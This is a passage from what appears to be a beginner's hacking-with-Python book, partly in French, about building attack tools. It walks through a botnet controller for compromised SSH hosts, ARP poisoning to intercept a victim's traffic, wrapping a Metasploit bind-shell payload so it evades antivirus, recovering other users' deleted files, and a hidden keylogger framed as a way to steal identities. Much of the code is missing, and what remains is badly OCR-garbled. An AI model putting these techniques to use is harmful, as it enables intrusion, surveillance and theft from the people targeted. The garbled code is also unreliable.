les sites de médias sociaux.
Voici un programme qui vous permettra de créer votre propre botnet à l'aide d'une autre
bibliothèque Python populaire appelée Fabric, qui vous permettra de créer une application
appelée C&C (commande et contrôle) qui vous permettra de gérer plusieurs hôtes infectés sur
un hôte shell sécurisé .

Création du C&C
En supposant que vous, en tant qu'attaquant, a déjà réussi à compromettre le SSH et y a déjà
accès. En supposant que les informations d'identification des hôtes sont stockées dans un
fichier au format suivant: nom d'utilisateur @ nom d'hôte : mot de passe du port.
Maintenant que vous avez ces informations d'identification, vous devrez prendre en compte les
fonctions que vous devez créer. Cela peut signifier que vous devez exécuter une vérification
d'état pour voir les hôtes en cours d'exécution, créer une session shell interactive pour
communiquer avec un hôte ciblé et exécuter une commande sur les hôtes sélectionnés.
Pour commencer, vous devrez importer chaque membre de l'espace de noms fabric.api:

Après cela, vous aurez besoin des variables d'environnement, env.passwords (mappe les chaînes
d'hôte et les mots de passe que vous pouvez utiliser) et env.hosts (gère la liste principale des
hôtes), pour pouvoir gérer tous les hôtes que vous souhaitez cibler. Une fois que vous avez ces
paramètres, vous n'aurez pas à entrer chaque mot de passe pour chaque nouvelle connexion.

Maintenant que vous avez cette configuration, vous peut maintenant passer à l'exécution des
commandes. Voici les fonctions que vous pouvez utiliser pour utiliser:
local (commande) - exécute une commande sur le système local ciblé
sudo (commande) - exécute une commande shell à distance en utilisant les privilèges de
superutilisateur (ou admin)
put (local_path, remote_path) - télécharge des fichiers à
distance open_shell () - extrait un shell interactif à
distance exécuté (commande) - exécute une commande
shell à distance get (remote_path, local_path) - télécharge
des fichiers à distance
Toi peut maintenant créer une fonction qui vous permettra de créer une chaîne de commande,
puis l'exécuter. Voici le code pour créer la commande run_command:

Maintenant, c'est à votre tour peut créer une tâche qui vous permettra d'utiliser la fonction
run_command, qui vous permettra de vérifier quels hôtes sont actifs en exécutant la commande
appelée uptime:

À effectuer les autres tâches, vous voudrez vérifier à quels hôtes vous souhaitez donner les
autres commandes ou créer une session shell. Pour ce faire, vous devrez créer un menu qui
vous permettra d'exécuter les autres tâches avec les hôtes spécifiés en utilisant la fonction
d'exécution de Fabric. Voici à quoi devrait ressembler cette partie du code:
Enregistrez le code sous fabfile.py, puis exécutez-le à l'invite de l'interpréteur. Voici à quoi
ressemble tout le code lorsque vous l'exécutez:
Vous verrez que vous avez pu prendre le contrôle de toutes les machines auxquelles vous avez
accès.
Récupération de sites Web nécessitant des informations de connexion
Si vous souhaitez extraire des données d'un site Web, vous constaterez que vous devrez
d'abord vous connecter avant de pouvoir accéder aux informations que vous souhaitez. Cela
signifie que pour obtenir les données dont vous avez besoin, vous devrez d'abord extraire
tous les détails dont vous avez besoin pour vous connecter à votre site Web ciblé.

Étudier le site Web cible


Voici le scénario: vous voulez récupérer des données du site Bitbucket, auquel vous pouvez
accéder en vous connectant à bitbucket.org/account/signin. Comme il vous invite à fournir
les informations d'identification de l'utilisateur, vous ne pouvez pas accéder au site Web et
extraire les informations que vous souhaitez. Comme vous l'avez peut-être deviné, vous
devrez construire un dictionnaire qui vous permettra de mettre en détail la connexion.
Dans Afin de savoir ce dont vous avez besoin pour saisir les informations d'identification
dont vous avez besoin, vous devrez inspecter les éléments du champ «nom d'utilisateur ou e-
mail». Vous pouvez le faire en faisant un clic droit sur le champ puis en sélectionnant
«inspecter l'élément».

Faites de même pour le mot de passe champ:

Maintenant, c'est à votre tour sachez que vous devriez utiliser «nom d'utilisateur» et «mot de
passe» comme clés dans votre dictionnaire, ce qui devrait vous donner les informations
d'identification correspondantes comme valeur.
Prochain, recherchez une balise d'entrée masquée dans la source de la page intitulée
«csrfmiddlewaretoken», qui vous fournira la clé et la valeur:

Créez votre code


Maintenant que vous connaissez les exigences, vous peut maintenant créer le programme dont
vous avez besoin pour construire votre dictionnaire:
Enregistrez-le sous login_scraper.py, puis exécutez-le sur l'invite de l'interpréteur pour
obtenir les informations d'identification dont vous avez besoin.
Chapitre 10: Comprendre les attaques à l'aide de Python

Le piratage ne consiste pas uniquement à lancer des attaques - comprendre comment les hackers
black hat lancent la cible et pénètrent leurs systèmes cibles vous fera comprendre comment
vous pouvez utiliser vos nouvelles connaissances pour éviter que votre propre système ne
leur soit vulnérable.
Connaître les emplacements des utilisateurs à partir des tweets
Si tu as utilisé Twitter, vous pensez peut-être que vous tweetez vos mises à jour par pur
hasard; cependant, la vérité est que vous suivez une formule informelle pour les tweets que
vous composez. En règle générale, cette formule comprend le nom d'un autre utilisateur
Twitter qui indique à qui votre tweet est dirigé, le texte de votre tweet et votre choix de
balise de hachage. Il y a d'autres données incluses dans votre tweet, qui peuvent ne pas être
visibles dans le corps de votre tweet, comme une image que vous souhaitez partager ou un
emplacement. Pour un pirate informatique, toutes les informations de votre tweet contiennent
quelque chose qui sera important dans la rédaction d'une attaque - quand vous y réfléchissez,
vous donnez des informations sur la personne qui vous intéresse, des liens que vous et votre
ami êtes susceptibles de être intéressé et les tendances que vous voudrez peut-être connaître.
Les images,
If you want to get details anonymously to retrieve all these information, you can use the
following code:
ret.u rn Lxzie t S
def oad_c1 I e s ‹ c I tyF1 e j :
c1t1es = F
for 1 f ne f n open( c f tyF f 1 a ) . ra ad 1 1 nes ( J :
c f by= \ 1 ne . s Mr f pT ' \n ' } . st r1 p I \ r ' ) . l oxer I j
C f t1 es . a ppend I C f
ty ) ret urn c T I f eS
aef to tter_l oca ie ( meet, s c f r1es j :
oc a tJ ons = [ J
1 oc in I a
c 1 LyCn t = 0
tueet sText = ""
for tueEt. f n t. 'eel. s :
\ I LxeeL I ' qeo ' J ! = done :
l oca‹# ons.appendltweet[ ’geo’Ji
locCnt •F= l
meet s Text += tueet{ ' Fleet . ouer ( J
for c f ty in cJ t1es :
I c 1 ty 1 n meet sTExt ,
\ ocat 1 on s . a pp e na I c I ry j
c1 tyCnt-I-=T
pr1 nt " [ •|- J Found "•t•s t. r ( 1 ocCn t ) •|-" 1 ocd I.1on s " +\
v i a lx I t ter AP 1 a nd ‘+s I r ( c 1 by Co L +\
" oca t. f ons from text sea rch . "
ret u rn 1 oca t f on s
aef na n ( '
parser = optparse.0ptTonParserl 'usagelprog ’*\
' - u 1 twf I I.er ha nd1 ed § - C € 1 f s t. of c1 I test J ' ›

pa rser. add_opt i on ( ' - u,' desk= ' handl e ' , type= ' st r1ng ' , \
be p=' speci fy txf tie r hand e ' )
pa rser. add_opt on ( - c,' desk= ' c1 tyF1 e' , type= s tr i ng ' , \
he p=' speck fy fJ I e contal n f ng c1t1es to search ' )
(opt i ons, a rgs ) = pa rser. pa rse_a rgs ( )
hand I e = opts ons . handl e
clty Ff l e = opt 1ons . ct ty F1 l
e i f ( handl e==None ) :
pr int par s er . us
age ex i I (0)
cities = fiJ
f f (clty Fi l e ! = IJone) :
cJ tles = l oad_c i t1 es (ct ty FI l e J
tueet s = ge t_tueeI s handl e )
l oca11ons = tu1 tter_l ocate ( treeI s . cJ t1es)
print ’1+J Locations: --Fstr(locat i ons)
1f name == ' ma i n ' :
main()
Now, you can test this script by creating a list of cities that host major league teams. After that
you can scrape Twitter accounts for Washington Nationals and the Boston Red Sox. Your
script will look like this:

When your script returns with the above results, you are likely to deduce that the these teams
are tweeting live from where they are. From this output, you may deduce that the Red Sox are
playing in Toronto, while the Nationals are in Denver.
Matching an IP Address to a Physical Location
Most of the time, people are willing to post what is on their mind on social media sites, or
perform attacks that they find using online tools that they can download, thinking that they
will never have to face the consequences of their actions. While most bullheaded yet
inexperienced hackers and online trolls think that they can hide behind a fake account to
conceal their identity, you can prove that these people are not as anonymous as they think
they are. In fact, there are several ways to use libraries and third-party modules in Python to
unmask the location and identity of a user based on his or her IP address.
For example, you suspect that your system is being targeted by another hacker and you notice
that your open ports are being sniffed by a particular IP address. What you will want to do once
you realize this potential attack is to identify that IP address’ location and report it to the
authorities. Python can help you do that using a script that is similar to what is going to be
discussed in this section.
In this example, you will be using the freely available database that can be found in
http://www.maxmind.com/app/geolitecity. Using this free database, you will aim to write a code
that will match the IP addresses found on their list to cities. To do that, download the free
database, decompress it, and send it to the location /opt/GeoIP/Geo.dat.
Once you are able to download the GeoCityLite database, you will be able to analyze the IP
addresses down to locating the country name, state, postal code, and a general longitude and
latitude. To make the job easier, you can use a Python library created to analyze this database.

When you run this script, you will be able to see data that looks like this:
Parse Packets with Dpkt
At this point, you understand how important it is to analyze packets – you will not only want to
analyze the packets that are coming from another computer to understand another user’s
activities, but also understand what other people are going to do with the packets that they are
observing from your computer. In this hack, you will learn how to analyze a network capture,
and examine the protocol layer of each packet using the tool called Dpkt.

When you run this script, you will be able to find both the source and destination IP addresses:

The next thing that you will want to do is to match these IP addresses with a physical location.
You can improve the script that you have just created by creating an additional function
retGeoStr(), which will give you a physical location for the IP address that your code is able to
locate. For this example, you will be able to find the three-digit country code and the city for
each IP address and then have the code display this information. Just in any case the function
prompts you with an exception, handle it by providing a message that indicates that the address
is not registered. This will allow you to handle all addresses that are not included in the
GeoLiteCity
database that you downloaded earlier or instances of private addresses.

Once you are able to add the function retGeostr to the script that you were able to produce
earlier, you will be able to create a good packet analysis toolkit that will allow you to view the
physical destinations of packets that you want to study. This is how your final code should look
like:
This is how your script will look like in action:

Based on these results, you know that the traffic that you are analyzing is routed to different
parts of the world. Now that you are aware that your data is possibly being routed to too many
different computers, you get the idea that you need to improve your security by securing your
ports.
ARP Poisoning Using Python
If you are a hacker, one of the things that you will want to ensure is your anonymity. You will
want to make sure that your location is untraceable, and that is because of a good number or
reasons.
For the sake of practicing white hat hacking, you will want to learn how programmers are
able to mask their location especially when they perform reconnaissance attacks or DoS
attacks, which makes use of the Internet Protocol and see to it that you check your traffic from
time to time to see if your activities are being listened to by an unknown IP address. At the
same time, you may also want to protect yourself from being targeted by black hat hackers by
hiding your location.
To black hat hackers, IP spoofing essentially lets them conceal their identity and location
whenever they perform their attack. Doing so will also allow them to impersonate another
computer system and defeat existing security measures which may require authentication based
on their IP addresses.
One of the attacks that makes use of using falsified IP is called ARP spoofing, which involves
sending a false Address Resolution Protocol (ARP) message over a targeted local area network.
When done successfully, an attacker’s MAC address gains the IP address of an authorized
computer over the targeted network. This will allow an attacker to modify or stop all traffic, or
intercept data sent over the network. Using the following code, you can catch all packets that
are routed towards a targeted machine, which entails being able to see all the information that a
targeted user sends out, which allows you to view private communication that is not protected
by any form of encryption.

Find Information About the Targeted Machine


To find out how you can hack your target, you will need to check the ARP cache on the
machine that you want to attack. To inspect for the ARP cache on a Windows machine,
take a look at this example:
You will notice that the target’s default gateway IP address is at 172.16.1.254 and has an ARP
cache entry with the MAC address 3c-ea-4f-2b-41-f9. Take note of this to check the ARP
cache while you have an ongoing attack and verify that you have changed the MAC address
that corresponds to the gateway.

Code the Attack


Now that you know the target’s IP address and the gateway, you can now create your code.
Your code should look like this:
Code the Poisoning
The code above sets up your attack by inputting the target IP address and the MAC address
that goes with it using the get_mac function. You have also setup a packet sniffer that will
capture traffic for your targeted machine. All that is left for you to do is to write these
packets out to a PCAP file that you can pull up later using the Wireshark tool, or use an
image carving script.
Once that is done, you can call the function restore_target, which will allow you to put the
network back to its original form before the attack happened.
Now that you are able to setup the hack, you are now ready to code the ARP poisoning. Put the
following code above the code block that you read earlier:
os . k111(os . ge”tp1d( ) , signa1.5IGINT }
def ” get¿ mac ( 1p_addr es s) :
responses, unanswered =
srp(Ether(dst=“ff:ff:ff:ff:ff’:ff™)/ARP(pdst=ip_address),
timeout=2,retr •=l0)
’# r’eturn.the fwC address from a
response for s,r in responses:
return r[Etherj.src
return None
def ” po1son_t”arget (gatewa}’_1p,gate\vay_mac,ta rget_i p,target_dac ) :

po1son_target = ARP”( ) po1son_target


. op = 2 po1son_target . psrc = gateway
1p. po1son_target . pdst = target_* p
po1son_target . hwdst= target_mac”
po1son_gatev/ay = ARP( )
po1son_gatev/ay . op = 2
Qoison_gateuay.psrc =
target_ip.

po1son_gatev/ay . hYJdst= gatev/ay_nac


pr1nt " [ *§ Beg1nn1ng the ARP po1son. [CTRL-C to stop] "
while True:

try:
send (po1son_target )
send (po1son_gatev/ay )
t1me . s”1e”ep( 2 )
except Keyboardlnterrupt:
reitore_target(gatexay_ip,gateway_mac,target_ip,target_mac)

print “[*] IRP QOl&D& bttack finished.“


return
Chapter 11: Other Nifty Hacks to Try
Prevent Detection by Antivirus
An antivirus software is designed to detect suspicious files in your system, such as viruses
and malwares. However, being able to modify the contents of a malware will enable you to
bypass antivirus detection.
In this hack, you will be able to learn how to create a malicious code using a Kali Linux
component called Metasploit. This program can generate malware, but most of the antivirus
companies can easily recognize content written by this software when they are released into a
computer as they are written originally. In order to create an antivirus-proof malware, you
will need to tweak the malware that you will create using software.

Create Your Malicious Program


Pull up Kali Linux and launch a terminal. Run this command:
mfspayload -1 | more
Doing so will display exploits that are available for you to use, such as the following:

If you want to bind a shell in order to create a port listener, execute a command in a targeted
port, and create your own remote control, enter these commands in the Kali Linux terminal:
msfpayload windows/shell_bind_tcp X >
shell.exe ls -l shell.exe
You will get the following output, which shows that Metasploit has created an executable file
named shell.exe, which is your malware:

Of course, any sensible antivirus software will realize that this is an insecure file which may
compromise a target’s computer.
Test Your Malware
To see that the .exe file that you have created is recognized as a malware, transfer it to
another computer that has an antivirus program via a USB, email, or drag it onto the
desktop to copy. Almost immediately, the antivirus installed will catch it, and detect it like
this:

Now, if you are going to turn off the antivirus software and run the malware, the command
line will display something like this:

When this happens, you can actually control the Windows machine where the malware is
installed using another computer.
To stop the malware, end the shell.exe file in Task Manager or restart the PC.

Edit the Malware Using Python


Since your antivirus program can detect the malware you created, you need to edit the
malware code in order for it to bypass your computer’s security. To do that, pull up Kali
Linux and type this command string in the terminal:
mfspayload windows/shell_bind_tcp C
You will see the code for the exploit that you previously ran to be in hexadecimal code. What
you need to do is to compile this code into an .exe file. To do this, all you need to do is input
this command string in a Kali Linux terminal:
mfspayload windows/shell_bind_tcp C >
shell ls -l shell.py
Upon entering this code, Kali Linux will generate a file which looks like this:
This code is in C language, which means that you will need to add some lines. To do that,
enter this command string in the Kali Linux terminal:
nano shell.py
You will get a text editor with this code:

Import the system’s library code that will enable you to run C programs from Python. To do
that, add the following line at the beginning of the code:
from ctypes import *
Add the following to the beginning of the initial hecadecimal code line:
shellcode = (
After that, remove the following line:
Unsigned char buf[]
Your code in the nano text editor should appear like this:
Scroll down and find the semicolon located near the end of the script. Add a closing
parenthesis before it. After doing so, add the following lines at the end of the code:

You should see this on your screen after doing so:

To save your file, press Ctrl + X, and then press Y at the prompt. Enter to proceed saving your
modified file.

Compile the Malware and Run It


In order to run the modified malware, you will need to compile it first. To do that, pull up a
command prompt and then run this command string:
pyinstaller --onefile --noconsole shell.py
This will create a new folder that is named “dist”. This folder will have the modified
malware inside it named as shell.exe. To run the malware, all you need is to open the
folder and double- click on the shell.exe file.
The Windows Firewall might block some of the program’s features since it will attempt to
connect to a remote server. Bypass that by selecting Allow Access. After doing so, pull up
the command prompt and then run:
netstat -an | findstr 4444
This will pull up a listening port, which looks like this:

To stop the listener, simply pull up the Task Manager and end the processes named shell.exe.
Check with your antivirus if the malware that you have just created can still be detected. It
should bypass most of the known antivirus programs out there.
Retrieve Deleted Items in Recycle Bin
As you already know, the Recycle Bin in Windows OS is used as a special folder that serves as
storage for files that a user deletes. These files are marked to be erased from the hard drive, but
they are not actually removed. In older Windows operating systems (Windows 98 and older),
these files are stored in the directory C:\Recycled, and subsequent operating systems until
Windows XP store these files in a directory named C:\Recycler. If you are using Windows 7
and Vista, your files are stored at a directory named C:\$Recycle.Bin.
If you empty your Recycle Bin, you may think that all the files that are moved there are
completely gone. However, there are situations wherein you may want to recover files that you
accidentally deleted from the Recycled Bin, or you may want to go dumpster diving and
recover important documents that were deleted from a target computer. This code will help you
do all these things.

Create a Module To Help Find Deleted Files


Of course, you will want to write a script that will be independent of the operating system,
which will make it useful to hack a different operating system. To do that, you will want to
write a function that will run a test against all possible directories that contains delete files in an
operating system, and then return with the information that contains the directory that exists on
the operating system that you wish to exploit:

Once you manage to find the targeted Recycle Bin directory, the next thing that you want to do
is to look at the contents. Take a look at the found directory:

You will notice the strings S-1-5-21-1275210071-1715567821-725345543- which ends with


either 500 or 1005. These strings represent the user accounts on the targeted machine. Now,
you will want to identify these user accounts and find out which of the user accounts you will
want to retrieve the deleted items from.
Check the User ID
To decode the SID string that you found earlier, you will need to access the Windows
Registry and match the string with a username. You will find the information with this
registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\
<SID>\ProfileImagePath
Pull up your command prompt, and type in “reg query”. This will come up with this result:

Adter decoding the user name, you will need to create a function that will translate the SID
into the user’s name. Doing so will allow you to get more useful information when you
recover items that were deleted from the Recyle Bin.

This function will pull up the registry to check the ProfileImagePath Key, search for the value
and then send back with the name that is found right after the backslash in the target userpath.
Now, it’s time to put the entire code together that will reveal all the files that are still in
the Recycle Bin. This is how the complete code will look like:
When you run this code inside the targeted machine in the example, you will notice that the
script has found two users, the Administrator and alex. You will also be able to see some of
the files that were deleted that you may want to retrieve:
Create a Keylogger Using Python
Keylogging, also known as keyboard capturing or keystroke logging, is a trick used by hackers
to record the keys that are pressed on a keyboard without the victim knowing that he is being
recorded. By being able to record these key strokes, any hacker will be able to decipher how
the targeted user interacts with his computer. This means that with a keylogger, you
essentially have access to practically everything that the victim has typed on his keyboard,
which includes sensitive data such as usernames, passwords, credit card numbers, and so on.
Creating an efficient keylogger will enable you to conveniently steal someone else’s identity,
especially when your logger remains to be undetected.
Despite the huge danger that keyloggers may pose to any user, they are remarkably easy to
make using Python. The code that will be taught in this section is a keylogger that does not rely
on hardware and will continue to run in the background, which prevents the targeted user from
noticing it.

Pul up Your Editor


Open IDLE, or any text editor of your choice. Once you are on a new script window, input the
following code:

Test the Created File


Save the code as keylogger.py, and then run the file by pressing Ctrl + R. The keylogger will
proceed running in the background and will log the keystrokes on the keyloggeroutput.txt file.
To end logging, pull up Task Manager and end all running Python tasks and programs.
Conclusion

At this point, you may have had some idea on how you can make your own computer system
and network more secure – simply performing some of the codes that are given in this book as
an example will give you the idea that there are just too many exploits out there that are
available to criminal hackers and are used to compromise targeted computers. However, your
new knowledge can prevent you from falling victim to these hackers and allow you to think
ten steps ahead. Since you already are done reading a beginner’s guide to hacking with
Python, the only next steps that you need to do is to hone your skills by improving open-
source scripts and creating your own programs that you can share to other people that are
interested in information security.
Now that you have better knowledge about how criminal hackers hack using Python, you can
fine tune that knowledge into developing programs that will mitigate these attacks. Take note
that the hacking tools that were discussed here are also tools that can help you discover your
own vulnerabilities that hackers can exploit. Since you are capable of using the same
programming language that many sophisticated hackers use nowadays, you have the
opportunity to stop them with better scripts and programs that you can also share to your
network.
If you have enjoyed reading this book and you believe that you have become a better hacker
because of it, please take the time to share this book to fellow hackers and tell other readers
about it on Amazon.com. I am excited to hear from you soon!
Bonus: Preview Of ‘Introduction to Python 3

Python is a programming language used for interactive, portable and flexible programs. It has
a syntax that can easily interface with other systems. It’s object-oriented, meaning, it focuses
on object-oriented data, modules and classes. You can use it for general purposes in
programming. It has also a broad range of standard library that allows you to work quickly
and more reliably.
The first versions of Python are the 2x series, which is still very useful even with the advent of
the 3x series, because its features are compatible with more applications and systems. Because
of some updates, the Python 3 series is still not accepted by other devices. There are some
systems that are not adjusted to Python 3.
Nevertheless, Python 3 is the latest series of the Python programming language. Just like
Python 2, it’s easier to learn than most programming languages because its syntax is clear and
simple and not difficult, unlike the statically typed languages.
Python has also an interactive interpreter, such as IDLE to allow learners to code quickly and
check -at the moment - if their syntaxes are correct.
For this book, we will be focusing on the Python 3 series.

Click here to check out the rest on Amazon.